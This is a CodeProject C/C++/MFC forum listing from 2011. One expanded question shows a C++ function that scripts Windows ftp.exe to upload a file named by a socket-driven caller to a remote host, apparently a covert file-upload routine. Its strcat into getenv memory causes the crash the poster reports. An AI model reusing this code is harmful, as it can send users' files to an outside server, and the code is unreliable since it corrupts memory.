Click here to Skip to main content
15,881,248 members
Home / Discussions / C / C++ / MFC
   

C / C++ / MFC

 
QuestionEncryption/Decyption of String. Pin
Le@rner1-Jul-11 2:57
Le@rner1-Jul-11 2:57 
AnswerRe: Encryption/Decyption of String. Pin
Code-o-mat1-Jul-11 3:34
Code-o-mat1-Jul-11 3:34 
AnswerRe: Encryption/Decyption of String. Pin
cmk1-Jul-11 10:56
cmk1-Jul-11 10:56 
QuestionMaking an "SDI" MFC DLL Pin
Srikant Iyer1-Jul-11 1:46
Srikant Iyer1-Jul-11 1:46 
QuestionC++ Pin
Karthik931730-Jun-11 20:36
Karthik931730-Jun-11 20:36 
AnswerRe: C++ Pin
Richard MacCutchan30-Jun-11 22:35
mveRichard MacCutchan30-Jun-11 22:35 
AnswerRe: C++ Pin
Albert Holguin1-Jul-11 4:23
professionalAlbert Holguin1-Jul-11 4:23 
Questionfopen gives segmentation fault. Pin
krosty478230-Jun-11 18:44
krosty478230-Jun-11 18:44 
Hi ppl.
I have this code:

void descargar(string path1, SOCKET sock)<br />
{<br />
string variable = getenv("windir");<br />
char* variablee = getenv("windir");<br />
string variable1 = getenv("userprofile"); //Variable local user<br />
char* variable11 = getenv("userprofile"); //Variable local user<br />
<br />
strcat(variablee,"\\System32\\ftp.exe -s:");<br />
strcat(variablee,variable11);<br />
strcat(variablee,"\\command1.txt host.com");<br />
FILE * file;<br />
file= fopen((variable1+"\\command1.txt").c_str(),"w"); //Creamsos el fichero en user<br />
if(file != NULL)<br />
{<br />
fputs("name\n",file); //User<br />
fputs("pass\n",file); //Pass<br />
fputs("cd /public_html\n",file); //Nos movemos<br />
fputs(("put \"" + path1+"\"").c_str(),file); //Subimos<br />
fputs("\nquit",file);<br />
fclose(file);<br />
}<br />
<br />
STARTUPINFO StartInfo; // name structure<br />
PROCESS_INFORMATION ProcInfo; // name structure<br />
memset(&ProcInfo, 0, sizeof(ProcInfo)); // Set up memory block<br />
memset(&StartInfo, 0 , sizeof(StartInfo)); // Set up memory block<br />
StartInfo.cb = sizeof(StartInfo); // Set structure size<br />
int res = CreateProcess(NULL,variablee, NULL, NULL, NULL, NULL, NULL, NULL, &StartInfo, &ProcInfo); // starts MyApp<br />
{<br />
    ::WaitForSingleObject(ProcInfo.hProcess, INFINITE);<br />
    CloseHandle(ProcInfo.hProcess);<br />
    CloseHandle(ProcInfo.hThread);<br />
}<br />
}


The problem, is that, the first time i call this function works fine, but the second time it is called, it gives segmentation fault error in line:
file= fopen((variable1+"\\command1.txt").c_str(),"w");

Any idea?

Thanks
AnswerRe: fopen gives segmentation fault. Pin
enhzflep30-Jun-11 19:30
enhzflep30-Jun-11 19:30 
AnswerRe: fopen gives segmentation fault. Pin
Chuck O'Toole30-Jun-11 20:24
Chuck O'Toole30-Jun-11 20:24 
QuestionGetting Static control styles [MFC] Pin
csrss30-Jun-11 9:58
csrss30-Jun-11 9:58 
AnswerRe: Getting Static control styles [MFC] Pin
David Crow30-Jun-11 10:13
David Crow30-Jun-11 10:13 
GeneralRe: Getting Static control styles [MFC] Pin
csrss30-Jun-11 10:23
csrss30-Jun-11 10:23 
QuestionCEdit Control password style switch Pin
RomTibi30-Jun-11 7:06
RomTibi30-Jun-11 7:06 
AnswerRe: CEdit Control password style switch Pin
User 742933830-Jun-11 7:30
professionalUser 742933830-Jun-11 7:30 
GeneralRe: CEdit Control password style switch Pin
RomTibi30-Jun-11 8:06
RomTibi30-Jun-11 8:06 
AnswerRe: CEdit Control password style switch Pin
Mark Salsbery30-Jun-11 8:22
Mark Salsbery30-Jun-11 8:22 
AnswerRe: CEdit Control password style switch Pin
User 742933830-Jun-11 8:32
professionalUser 742933830-Jun-11 8:32 
GeneralRe: CEdit Control password style switch Pin
Mark Salsbery30-Jun-11 8:51
Mark Salsbery30-Jun-11 8:51 
QuestionHow to embedded CFileDialog to user dialog? Pin
includeh1030-Jun-11 5:41
includeh1030-Jun-11 5:41 
AnswerRe: How to embedded CFileDialog to user dialog? Pin
Richard MacCutchan30-Jun-11 6:20
mveRichard MacCutchan30-Jun-11 6:20 
AnswerRe: How to embedded CFileDialog to user dialog? Pin
Mark Salsbery30-Jun-11 8:15
Mark Salsbery30-Jun-11 8:15 
AnswerRe: How to embedded CFileDialog to user dialog? Pin
Albert Holguin30-Jun-11 9:06
professionalAlbert Holguin30-Jun-11 9:06 
AnswerRe: How to embedded CFileDialog to user dialog? Pin
Philippe Mori1-Jul-11 10:07
Philippe Mori1-Jul-11 10:07 
QuestionConvert string to alpha numeric value Pin
Cpp_Com30-Jun-11 3:14
Cpp_Com30-Jun-11 3:14 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.